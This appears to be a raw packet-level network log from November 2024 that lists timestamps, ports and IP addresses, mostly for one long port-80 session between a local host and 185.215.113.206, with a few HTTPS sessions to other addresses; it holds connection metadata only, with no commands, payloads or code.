Nov 22, 2024 00:11:50.379924059 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.379966021 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.380068064 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.380986929 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.381046057 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.381057978 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.381099939 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.382039070 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.382143974 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.382157087 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.382190943 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.383264065 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.383284092 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.383331060 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.384248018 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.384289980 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.384310007 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.384356022 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.385368109 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.385457039 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.385488033 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.385498047 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.386450052 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.386497974 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.386611938 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.386746883 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.387558937 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.387626886 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.387661934 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.387713909 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.388633966 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.388695955 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.388756037 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.388797045 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.389784098 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.389797926 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.389832973 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.389843941 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.390834093 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.390928984 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.390938997 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.391105890 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.391926050 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.391969919 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.392102003 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.392142057 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.393023968 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.393078089 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.393117905 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.393177986 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.394196987 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.394244909 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.394264936 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.394305944 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.395195007 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.395243883 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.395330906 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.395380020 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.396317959 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.396377087 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.396516085 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.396560907 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.397393942 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.397456884 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.397505999 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.397610903 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.398490906 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.398534060 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.398576975 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.398633003 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.399595976 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.399647951 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.399679899 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.399729967 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.400688887 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.400734901 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.400835991 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.400904894 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.401773930 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.401819944 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.401892900 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.401982069 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.402874947 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.402920961 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.402965069 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.403090954 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.403986931 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.404055119 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.404155016 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.404326916 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.405056000 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.405116081 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.405163050 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.405204058 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.406174898 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.406308889 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.406390905 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.406440020 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.407270908 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.407304049 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.407329082 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.407376051 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.408339024 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.408456087 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.408456087 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.408653975 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.409451962 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.409559965 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.409595013 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.409604073 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.410533905 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.410640955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.410695076 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.411654949 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.411765099 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.411899090 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.412750959 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.412808895 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.412839890 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.412930965 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.413855076 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.413969040 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.413985014 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.414777994 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.414921999 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.414975882 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.415031910 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.415138006 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.416018009 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.416119099 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.416188002 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.417135954 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.417200089 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.417254925 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.418207884 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.418278933 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.418324947 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.419337988 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.419392109 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.419482946 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.419523001 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.420398951 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.420525074 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.420538902 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.420627117 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.421525955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.421577930 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.421658039 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.421699047 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.422583103 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.422646999 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.422693968 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.423676014 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.423747063 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.423796892 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.424791098 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.424966097 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.425031900 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.451216936 CET	443	49827	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:50.451467037 CET	443	49827	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:50.451639891 CET	49827	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:50.452012062 CET	49827	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:50.452037096 CET	443	49827	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:50.452053070 CET	49827	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:50.452059984 CET	443	49827	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:50.474908113 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:50.474935055 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:50.475008011 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:50.475218058 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:50.475225925 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:50.475284100 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:50.475476027 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:50.475487947 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:50.475586891 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:50.475598097 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:50.485713005 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.494023085 CET	443	49846	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:50.494179010 CET	443	49846	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:50.494317055 CET	49846	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:50.494404078 CET	49846	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:50.494421959 CET	443	49846	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:50.494430065 CET	49846	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:50.494437933 CET	443	49846	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:50.501914024 CET	49857	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:50.501950979 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:50.502024889 CET	49857	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:50.502171040 CET	49857	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:50.502182007 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:50.518927097 CET	49858	443	192.168.2.5	152.195.19.97
Nov 22, 2024 00:11:50.518938065 CET	443	49858	152.195.19.97	192.168.2.5
Nov 22, 2024 00:11:50.519002914 CET	49858	443	192.168.2.5	152.195.19.97
Nov 22, 2024 00:11:50.519553900 CET	49858	443	192.168.2.5	152.195.19.97
Nov 22, 2024 00:11:50.519567966 CET	443	49858	152.195.19.97	192.168.2.5
Nov 22, 2024 00:11:50.546231031 CET	443	49849	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:50.546689034 CET	49849	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:50.546700001 CET	443	49849	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:50.547049999 CET	443	49849	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:50.547352076 CET	49849	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:50.547629118 CET	443	49849	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:50.592376947 CET	443	49848	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:50.592627048 CET	49848	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:50.592648029 CET	443	49848	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:50.592989922 CET	443	49848	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:50.593671083 CET	49848	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:50.593746901 CET	443	49848	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:50.598494053 CET	49849	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:50.606054068 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.626509905 CET	443	49853	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:50.626743078 CET	49853	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:50.626754045 CET	443	49853	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:50.627091885 CET	443	49853	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:50.630367041 CET	49853	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:50.630448103 CET	443	49853	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:50.643838882 CET	49848	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:50.674463034 CET	49853	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:50.680145025 CET	443	49852	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:50.680951118 CET	49852	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:50.680958986 CET	443	49852	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:50.681327105 CET	443	49852	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:50.682605028 CET	49852	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:50.682683945 CET	443	49852	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:50.731462002 CET	49852	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:50.867531061 CET	49859	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:50.867552996 CET	443	49859	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:50.867640972 CET	49859	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:50.867893934 CET	49859	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:50.867904902 CET	443	49859	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:50.873245001 CET	443	49847	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:50.873789072 CET	49847	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:50.873802900 CET	443	49847	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:50.874325037 CET	49847	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:50.874329090 CET	443	49847	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:50.952522039 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.952616930 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.952656031 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.952727079 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.953026056 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.953133106 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.953167915 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.953200102 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.954212904 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.954226971 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.954277992 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.955229998 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.955338955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.955355883 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.955408096 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.956343889 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.956448078 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.956476927 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.956526995 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.957437038 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.957504034 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.957546949 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.957710981 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.958566904 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.958641052 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.958673954 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.958749056 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.959598064 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.959670067 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.959717989 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.959830999 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.960730076 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.960813046 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.960815907 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.960892916 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.961838961 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.961885929 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.961910963 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.961946964 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.962893009 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.963009119 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.963073969 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.963073969 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.964032888 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.964091063 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.964236975 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.964289904 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.965148926 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.965234041 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.965245008 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.965298891 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.966173887 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.966264963 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.966284990 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.966494083 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.967385054 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.967427015 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.967495918 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.967530012 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.968406916 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.968478918 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.968517065 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.968544006 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.969506979 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.969597101 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.969729900 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.969924927 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.970616102 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.970690966 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.970830917 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.970926046 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.971669912 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.971786976 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.971873999 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.972805023 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.972917080 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.973072052 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.973126888 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.973874092 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.973926067 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.974004030 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.974056005 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.975199938 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.975290060 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.975454092 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.975553989 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.976299047 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.976336956 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.976404905 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.976445913 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.977142096 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.977236032 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.977308989 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.977441072 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.978423119 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.978486061 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.978740931 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.978785038 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.979427099 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.979490042 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.980422974 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.980501890 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.980592012 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.980860949 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.980940104 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.981554985 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.981610060 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.981808901 CET	80	49788	185.215.113.206	192.168.2.5
